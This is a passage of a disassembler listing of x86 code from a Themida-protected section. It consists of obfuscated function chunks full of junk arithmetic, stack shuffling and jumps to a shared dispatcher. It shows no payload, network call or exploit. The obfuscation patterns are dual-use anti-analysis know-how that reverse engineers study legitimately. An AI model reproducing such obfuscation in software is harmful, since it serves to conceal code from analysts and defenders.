loc_553B26:				; CODE XREF: Themida_:005552CFj
		push	1EA3h
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55C2DD
; ---------------------------------------------------------------------------


loc_553B3A:				; CODE XREF: Themida_:00554BE2j
		add	ecx, 4
		jmp	loc_5513E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_553B45:				; CODE XREF: sub_5584F8-1C8Ej
		not	edx
		not	edx
		shr	edx, 4
		jmp	loc_55CCCB
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553B51:				; CODE XREF: sub_556A70-3F6Dj
		sub	eax, edi
		pop	edi
		sub	eax, 7ED5452Dh
		add	eax, ebx
		jmp	loc_552C8E
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_553B60	proc near		; CODE XREF: sub_55515F-458j

; FUNCTION CHUNK AT 00559802 SIZE 00000008 BYTES

		push	ebx
		mov	bh, 16h
		or	bh, 99h
		jmp	loc_559802
sub_553B60	endp

; ---------------------------------------------------------------------------


loc_553B6B:				; CODE XREF: Themida_:00559656j
		sub	ebx, 5880281h
		add	eax, ebx
		jmp	loc_5577B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555903


loc_553B78:				; CODE XREF: sub_555903+18j
		pop	ebx
		xchg	edx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		mov	edx, [esp-4+arg_0]
		jmp	loc_55190B
; END OF FUNCTION CHUNK	FOR sub_555903
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	esp
		pop	edi
		push	3A28h
		mov	[esp], ebp
		push	esi
		jmp	loc_5595BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553B9D:				; CODE XREF: sub_556A70+4D2Dj
		and	edi, 28842696h
		push	ebx
		mov	ebx, 6EEA4F3Ah
		sub	edi, ebx
		pop	ebx
		jmp	loc_5518CB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553BB1:				; CODE XREF: Themida_:00558F42j
		mov	edx, 42512B03h
		add	edx, 35E13E79h
		and	edx, 77546123h
		not	edx
		dec	edx
		jmp	loc_557E6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5582B3


loc_553BCA:				; CODE XREF: sub_5582B3+19j
		pop	esi
		push	edi
		jmp	loc_55A6DB
; END OF FUNCTION CHUNK	FOR sub_5582B3
; ---------------------------------------------------------------------------
		push	40C9h
		mov	[esp], ebx
		jmp	loc_554875
; ---------------------------------------------------------------------------


loc_553BDE:				; CODE XREF: Themida_:00556893j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_552039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553BE9:				; CODE XREF: sub_556A70+1CE3j
		push	eax
		mov	eax, 0AA62FBDh
		jmp	loc_55C067
; ---------------------------------------------------------------------------


loc_553BF4:				; CODE XREF: sub_556A70+1038j
		xor	ebx, 9BF1EE9Ch
		sub	esi, ebx
		pop	ebx
		mov	eax, [esp-4+arg_0]
		jmp	loc_552787
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553C05:				; CODE XREF: Themida_:0055111Aj
		xor	esi, eax
		pop	eax
		neg	esi
		add	esi, 68B05516h
		dec	esi
		xor	esi, 0B7A9EAA9h
		mov	edi, esi
		pop	esi
		jmp	loc_5598CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F87


loc_553C1F:				; CODE XREF: sub_559F87-7D1Dj
		push	eax
		mov	al, 54h
		xor	cl, al
		pop	eax
		add	al, 62h
		sub	al, cl
		sub	al, 62h
		pop	ecx
		jmp	sub_55515F
; END OF FUNCTION CHUNK	FOR sub_559F87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553C31:				; CODE XREF: sub_556A70-4EDEj
		mov	[esp+0Ch+var_C], edx
		jmp	loc_55AC5B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B85


loc_553C39:				; CODE XREF: sub_555B85-4E2Bj
		or	edi, 0D60F79h
		xor	edi, 0B1691C8Eh
		sub	ecx, edi
		jmp	loc_55974D
; END OF FUNCTION CHUNK	FOR sub_555B85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553C4C:				; CODE XREF: sub_556A70+859j
		dec	edi
		xor	edi, 5A9F6EBEh
		add	eax, 377C59CAh
		jmp	loc_5596AE
; ---------------------------------------------------------------------------


loc_553C5D:				; CODE XREF: sub_556A70+46C8j
		xor	al, dl
		mov	dx, word ptr [esp+0Ch+var_C]
		add	esp, 2
		xor	bl, al
		movzx	eax, al
		jmp	loc_5548E8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553C73:				; CODE XREF: Themida_:0055CEC0j
		add	eax, 4
		jmp	loc_554DF1
; ---------------------------------------------------------------------------


loc_553C7D:				; CODE XREF: Themida_:0055A6FFj
		xchg	esi, [esp]
		mov	esp, [esp]
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5552CB
; ---------------------------------------------------------------------------


loc_553C8C:				; CODE XREF: Themida_:00553B00j
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		dec	eax
		xchg	eax, ecx
		add	ecx, 0FFFFF1E9h
		jmp	loc_556D40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553CA0:				; CODE XREF: sub_556A70+9Dj
		pop	ebp
		push	edi
		mov	edi, esp
		jmp	loc_5564AA
; ---------------------------------------------------------------------------


loc_553CA9:				; CODE XREF: sub_556A70+4E86j
		pop	ecx
		pop	[esp+4+var_4]
		pop	esp
		mov	[esp-4+arg_0], esi
		push	ebx
		mov	ebx, 1E0C7A18h
		jmp	loc_55B6D8
; ---------------------------------------------------------------------------


loc_553CBC:				; CODE XREF: sub_556A70+3050j
		sub	esi, 244270CCh
		add	eax, esi
		pop	esi
		jmp	loc_55466E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553CCA:				; CODE XREF: Themida_:00559136j
		push	eax
		mov	eax, 73AF69B7h
		jmp	loc_555F04
; ---------------------------------------------------------------------------


loc_553CD5:				; CODE XREF: Themida_:00553972j
		xor	ebx, 20CE556Dh
		add	ebp, ebx
		pop	ebx
		jmp	loc_55955E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AA5F


loc_553CE3:				; CODE XREF: sub_55AA5F-647Dj
		push	ecx
		pop	ebx
		pop	ecx
		add	edi, ebx
		pop	ebx
		jmp	loc_5588EB
; END OF FUNCTION CHUNK	FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553CEE:				; CODE XREF: sub_556A70-3AF0j
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	ebp
		push	esi
		mov	esi, 4B3D252Ah
		dec	esi
		or	esi, 4CD66143h
		shr	esi, 2
		jmp	loc_551DAD
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553D11:				; CODE XREF: Themida_:0055C0BEj
		push	esp
		jmp	loc_555B96

; =============== S U B	R O U T	I N E =======================================



sub_553D17	proc near		; CODE XREF: sub_556A70+3F86j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00550BF5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055111F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055433E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005560DB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005565A5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005566D3 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00559923 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00559BDE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CDC6 SIZE 0000000A BYTES

		push	ebx
		jmp	loc_5560DB
sub_553D17	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553D1D:				; CODE XREF: sub_556A70+13Dj
		add	esp, 4
		pop	[esp+8+var_8]
		jmp	loc_554125
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553D28:				; CODE XREF: Themida_:0055BEC8j
		xor	eax, 2729433Ch
		dec	eax
		jmp	loc_551582
; ---------------------------------------------------------------------------


loc_553D33:				; CODE XREF: Themida_:00556759j
		pop	esi
		shr	ebx, 8
		xor	ebx, 392C77CCh
		jmp	loc_552C10
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_559DC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553D4B:				; CODE XREF: sub_556A70-4B18j
		add	ebp, ebx
		mov	ebx, [esp-0Ch+arg_8]
		add	esp, 4
		xchg	ebp, [esp-10h+arg_C]
		mov	esp, [esp-10h+arg_C]
		idiv	ecx
		push	12EAh
		mov	[esp-0Ch+arg_8], edx
		push	eax
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553D6A:				; CODE XREF: Themida_:0055678Ej
		pop	eax
		shr	ch, 7
		shl	ch, 8
		sub	ch, 0FFh
		shl	ch, 3
		add	ch, 43h
		sub	al, 21h
		sub	al, ch
		add	al, 21h
		pop	ecx
		sub	esp, 4
		jmp	loc_557456
; ---------------------------------------------------------------------------


loc_553D89:				; CODE XREF: Themida_:00553E32j
		or	bh, 59h
		xor	bh, 4Fh
		jmp	loc_55B31F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553D94:				; CODE XREF: sub_556A70+3003j
		pop	esp
		shl	word ptr [esp-8+arg_4],	cl
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_553D9F:				; CODE XREF: sub_556A70-2700j
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553DA4:				; CODE XREF: Themida_:00550ECCj
		push	28195A24h
		pop	ecx
		xor	ecx, 28195A20h
		push	ecx
		xor	dword ptr [esp], 3AA5652Eh
		pop	esi
		xor	esi, 3AA5652Eh
		pop	ecx
		jmp	loc_55AF99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_553DC5:				; CODE XREF: sub_55B730-56FFj
		add	ebp, 4CE60C68h
		pop	ebx
		push	ecx
		mov	ecx, 70EE6520h
		add	ebp, 372A7454h
		sub	ebp, ecx
		sub	ebp, 372A7454h
		jmp	loc_55599A
; END OF FUNCTION CHUNK	FOR sub_55B730
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553DE5:				; CODE XREF: sub_556A70-23E2j
		pop	edx
		jmp	loc_55B359
; ---------------------------------------------------------------------------


loc_553DEB:				; CODE XREF: sub_556A70-3F09j
		add	eax, esi
		sub	eax, 5A3B430Ah
		pop	esi
		pop	esi
		mov	ebp, [esp-0Ch+arg_8]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp-10h+arg_C]
		pop	esp
		jmp	loc_554789
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553E09:				; CODE XREF: Themida_:0055BF0Aj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	bl, 0A3h
		sub	bl, al
		sub	bl, 0A3h
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		push	edx
		mov	dl, 7Bh
		mov	bh, 6
		xor	bh, dl
		pop	edx
		jmp	loc_553D89
; ---------------------------------------------------------------------------


loc_553E37:				; CODE XREF: Themida_:005589C1j
		inc	edi
		add	edi, 8A91514Bh
		jmp	loc_552455
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553E43:				; CODE XREF: sub_556A70+5B06j
		xor	ah, ch
		pop	ecx
		push	eax
		mov	ah, 0DBh
		not	ah
		shr	ah, 6
		shl	ah, 5
		sub	ah, 0E2h
		add	dl, ah
		pop	eax
		sub	dl, ah
		sub	dl, 1Eh
		pop	eax
		sub	al, 6Dh
		sub	al, dl
		add	al, 6Dh
		pop	edx
		push	ecx
		jmp	sub_5553D0
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_553E6A	proc near		; CODE XREF: sub_556A70+54FAj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00552667 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055598B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055BB14 SIZE 00000022 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	loc_55BB14
sub_553E6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_553E75	proc near		; CODE XREF: sub_556A70+1E08j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00553F4B SIZE 0000001D BYTES

		push	ebx
		mov	bh, 0CFh
		inc	bh
		push	eax
		mov	al, 1Fh
		xor	al, 0A9h
		xor	al, 29h
		xor	al, 60h
		jmp	loc_553F4B
sub_553E75	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553E88:				; CODE XREF: sub_556A70+526Fj
		add	eax, ebp
		add	eax, 3DB07A2Ah
		push	edi
		push	ebx
		mov	ebx, 244F1D99h
		jmp	loc_553604
; ---------------------------------------------------------------------------


loc_553E9B:				; CODE XREF: sub_556A70+2690j
		xor	[esp-14h+arg_10], 493F76C7h
		pop	ecx
		sub	esp, 4
		mov	[esp-14h+arg_10], ebp
		push	493F76C7h
		pop	ebp
		xor	ecx, ebp
		pop	ebp
		pop	edx
		sub	[esp-1Ch+arg_1C], ecx
		jmp	loc_5522E5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553EBC:				; CODE XREF: Themida_:0055B314j
		dec	eax
		sub	eax, 7D708F1Dh
		sub	ebx, eax
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebx, edi
		add	ebx, 20FB23E8h
		push	edx
		mov	edx, 0
		add	edx, ebx
		add	eax, [edx]
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_558794
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B730


loc_553EF5:				; CODE XREF: sub_55B730-10D7j
		pop	ebp
		jmp	loc_55CE3F
; END OF FUNCTION CHUNK	FOR sub_55B730
; ---------------------------------------------------------------------------


loc_553EFB:				; CODE XREF: Themida_:0055CBB6j
		sub	ebx, edx
		pop	edx
		add	ebx, eax
		push	edx
		mov	edx, 72D65642h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5EF9413Ah
		sub	edx, ebp
		jmp	loc_55B5D1
; ---------------------------------------------------------------------------


loc_553F1B:				; CODE XREF: Themida_:00554D70j
		xor	al, bl
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_551E5C
; ---------------------------------------------------------------------------


loc_553F28:				; CODE XREF: Themida_:005580D2j
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_557BC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553F3A:				; CODE XREF: sub_556A70-2656j
		pop	ebx
		jmp	loc_554910
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_553F40:				; CODE XREF: Themida_:0055C4E6j
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		jmp	loc_55B591
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553E75


loc_553F4B:				; CODE XREF: sub_553E75+Ej
		add	bh, al
		pop	eax
		not	bh
		sub	bh, 0Fh
		add	ch, 0D8h
		add	ch, bh
		push	bx
		mov	bh, 0D8h
		sub	ch, bh
		pop	bx
		mov	ebx, [esp+4+var_4]
		jmp	loc_5579BA
; END OF FUNCTION CHUNK	FOR sub_553E75
; ---------------------------------------------------------------------------


loc_553F68:				; CODE XREF: Themida_:00551727j
		pop	esp
		mov	[esp], ebx
		jmp	loc_55169F
; ---------------------------------------------------------------------------


loc_553F71:				; CODE XREF: Themida_:0055597Ej
		dec	dl
		dec	dl
		sub	dl, 0A3h
		sub	bl, dl
		pop	edx
		add	bl, al
		add	bl, 0D6h
		add	bl, 7Bh
		movzx	eax, al
		push	ebx
		push	1732h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		sub	eax, 0C8A3FB9h
		add	eax, esi
		add	eax, 0C8A3FB9h
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_557CEC
; ---------------------------------------------------------------------------


loc_553FC7:				; CODE XREF: Themida_:005583B8j
		mov	bl, 5Fh
		shl	bl, 5
		or	bl, 18h
		push	cx
		mov	cl, 53h
		sub	bl, cl
		mov	cx, [esp]
		add	esp, 2
		sub	al, 9Ah
		jmp	loc_555B2C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_553FE3:				; CODE XREF: sub_556A70+F74j
		add	esi, 4
		sub	esp, 4
		mov	[esp-1Ch+arg_18], ebp
		mov	ebp, 71705CD5h
		add	ebp, 0FFFFFFFFh
		push	62A4h
		mov	[esp-18h+arg_14], edi
		mov	edi, 71705CD0h
		jmp	sub_556769
; ---------------------------------------------------------------------------


loc_55400C:				; CODE XREF: sub_556A70+6139j
		add	esp, 4
		jmp	loc_55BC15
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554014:				; CODE XREF: Themida_:0055A6EEj
		push	3AD60A2Ah
		jmp	loc_551831
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 4BDF3000h
		inc	esi
		neg	esi
		push	ebx
		mov	ebx, 4A2C3FD3h
		add	ebx, 53066FC9h
		sub	ebx, 49A26C78h
		xor	esi, ebx
		pop	ebx
		push	edx
		mov	edx, 6B53ED9h
		add	edx, 7ABD73FDh
		jmp	loc_559C3D
; ---------------------------------------------------------------------------


loc_554066:				; CODE XREF: Themida_:00553178j
		pop	ebx
		sub	ecx, 1
		jmp	loc_5542B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5539DB


loc_55406F:				; CODE XREF: sub_5539DB-1D15j
		pop	esi
		jmp	loc_55BA4E
; END OF FUNCTION CHUNK	FOR sub_5539DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552634


loc_554075:				; CODE XREF: sub_552634+845Aj
		mov	esi, 583FA4BEh
		sub	esi, edx
		pop	edx
		shl	esi, 1
		jmp	loc_55B631
; END OF FUNCTION CHUNK	FOR sub_552634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554084:				; CODE XREF: sub_556A70-3A5Cj
		add	esp, 4
		sub	ebp, 2
		jmp	sub_55BDD5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55408F:				; CODE XREF: Themida_:00552262j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5554B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55409A:				; CODE XREF: sub_556A70+4ECCj
		mov	edi, 4A5F0080h
		sub	eax, 6E8B23C2h
		add	eax, edi
		add	eax, 6E8B23C2h
		pop	edi
		push	ecx
		jmp	loc_55C183
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5540B2:				; CODE XREF: Themida_:00552E6Bj
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_55661A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5540BE:				; CODE XREF: sub_556A70+5686j
		pop	ebp
		shr	esi, 3
		sub	esi, 0AA5B298h
		jmp	loc_557E3A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5540CD:				; CODE XREF: Themida_:00555373j
		add	ebx, eax
		jmp	loc_555564
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_554625
; ---------------------------------------------------------------------------


loc_5540F9:				; CODE XREF: Themida_:00555EB3j
		mov	ch, 1Ch
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0B2h
		inc	bl
		xor	bl, 7Eh
		sub	bl, 0FFh
		add	ch, bl
		mov	ebx, [esp]
		add	esp, 4
		add	al, 89h
		add	al, 0DEh
		sub	al, 0B4h
		add	al, ch
		add	al, 0B4h
		jmp	loc_55B418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554125:				; CODE XREF: sub_556A70-2D4Dj
		pop	esp
		mov	[esp+0], esi
		push	[esp+arg_0]
		jmp	loc_55C831
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554132:				; CODE XREF: Themida_:00556294j
		mov	edi, 4F4B53DEh
		jmp	loc_55A366
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55413C:				; CODE XREF: sub_556A70+BB4j
		pop	ebp
		and	edi, ecx
		pop	ecx
		sub	edi, 1
		sub	edi, 2A59532Ah
		sub	edi, 1A80EEEh
		add	esi, edi
		pop	edi
		jmp	loc_5549DC
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552634


loc_55415A:				; CODE XREF: sub_552634+1j
		mov	ebp, 6605144Eh
		add	ebp, 0C81D55E6h
		sub	eax, ebp
		pop	ebp
		jmp	loc_55BE06
; END OF FUNCTION CHUNK	FOR sub_552634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55416D:				; CODE XREF: sub_556A70+5C1Fj
		mov	[esp-8+arg_4], ecx
		jmp	loc_552E3E
; ---------------------------------------------------------------------------


loc_554175:				; CODE XREF: sub_556A70+4F31j
		pop	edi
		add	ebx, 4
		xchg	ebx, [esp-0Ch+arg_8]
		pop	esp
		push	704Fh
		jmp	loc_55725A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55418A:				; CODE XREF: Themida_:00551B2Aj
		add	esi, 26FB4E67h
		pop	ebx
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_559DED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5541AC:				; CODE XREF: sub_556A70-3604j
		neg	ebp
		add	ebp, 0CA05E9BAh
		jmp	loc_5580F0
; ---------------------------------------------------------------------------


loc_5541B9:				; CODE XREF: sub_556A70-E79j
		sub	bl, dl
		pop	edx
		sub	bl, al
		jmp	loc_55C165
; ---------------------------------------------------------------------------


loc_5541C3:				; CODE XREF: sub_556A70+2091j
		or	ecx, 5C284AECh
		jmp	loc_556AAE
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_5541CE:				; CODE XREF: Themida_:00552B6Fj
		and	ah, 0E1h
		add	ah, 0BCh
		add	bh, ah
		pop	eax
		mov	dl, bh
		pop	ebx
		shl	dl, 6
		jmp	loc_558DF5
; ---------------------------------------------------------------------------


loc_5541E2:				; CODE XREF: Themida_:0055CC29j
		push	esp
		pop	eax
		push	ebx
		push	esi
		jmp	loc_5548DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5541EB:				; CODE XREF: sub_556A70+1AF2j
		pop	esi
		xor	ebx, 3EA24E27h
		jmp	loc_5596D7
; ---------------------------------------------------------------------------


loc_5541F7:				; CODE XREF: sub_556A70-40A0j
		push	50FF2D21h
		pop	ecx
		shr	ecx, 2
		push	ebx
		mov	ebx, 1F822E52h
		or	ecx, ebx
		pop	ebx
		add	ecx, 0E04010A7h
		jmp	loc_550FC1
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55421D:				; CODE XREF: Themida_:00552EEDj
		add	bl, al
		push	7A30h
		mov	[esp], eax
		push	ecx
		jmp	loc_55C353
; ---------------------------------------------------------------------------


loc_55422D:				; CODE XREF: Themida_:00551A88j
		pop	esp
		push	24ACh
		jmp	loc_55A6EB
; ---------------------------------------------------------------------------


loc_554238:				; CODE XREF: Themida_:00555214j
		add	al, 6Fh
		jmp	loc_557389
; ---------------------------------------------------------------------------


loc_55423F:				; CODE XREF: Themida_:005527C6j
		pop	eax
		xor	esi, [esp]
		jmp	loc_559566
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554248:				; CODE XREF: sub_556A70-53FCj
		add	ebp, 4
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_559797
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554259:				; CODE XREF: Themida_:005510F3j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_558B20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55427B:				; CODE XREF: sub_556A70+2822j
		mov	[esp+0], edx
		mov	dl, 1Bh
		push	edx
		mov	dl, 4
		mov	bl, dl
		pop	edx
		sub	esp, 4
		jmp	loc_55C716
; ---------------------------------------------------------------------------


loc_554291:				; CODE XREF: sub_556A70-1A23j
		pop	esi
		mov	[eax], edx
		jmp	loc_55A626
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_554299	proc near		; CODE XREF: sub_556A70+B4Fj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00550BD2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00554DDC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005586B8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055BECD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BF23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055C2C3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055C5F0 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, 647A05BEh
		jmp	loc_5586B8
sub_554299	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5542A4:				; CODE XREF: Themida_:005559E9j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		jmp	loc_55936A
; ---------------------------------------------------------------------------


loc_5542B4:				; CODE XREF: Themida_:0055406Aj
		and	ecx, 642D04C3h
		jmp	loc_55787E
; ---------------------------------------------------------------------------


loc_5542BF:				; CODE XREF: Themida_:0055B0ECj
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_5542C4:				; CODE XREF: sub_556A70+36D6j
		mov	[esp+0], edx
		jmp	loc_552FFA
; ---------------------------------------------------------------------------


loc_5542CC:				; CODE XREF: sub_556A70+1262j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	eax, [esp+0]
		add	esp, 4
		jmp	sub_5539DB
; ---------------------------------------------------------------------------


loc_5542EA:				; CODE XREF: sub_556A70-5216j
		or	edx, 215215CCh
		xor	edx, 22544957h
		push	edx
		not	[esp+4+var_4]
		pop	edx
		sub	esp, 4
		mov	[esp+4+var_4], eax
		push	13Ah
		mov	[esp+8+var_8], ecx
		mov	ecx, 654D59C2h
		mov	eax, 23E2D7D0h
		sub	eax, ecx
		push	[esp+8+var_8]
		pop	ecx
		add	esp, 4
		jmp	loc_55C7DD
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_554327:				; CODE XREF: Themida_:00552D88j
		push	eax
		push	ebx
		mov	bh, cl
		mov	ah, bh
		pop	ebx
		push	ecx
		jmp	loc_5558D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_554334:				; CODE XREF: sub_556A70+365Fj
		push	468Ch
		jmp	loc_559D7C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553D17


loc_55433E:				; CODE XREF: sub_553D17-2BECj
		add	bl, ah
		pop	eax
		sub	bl, al
		push	eax
		mov	ah, 3Ch
		sub	bl, ah
		pop	eax
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	561Bh
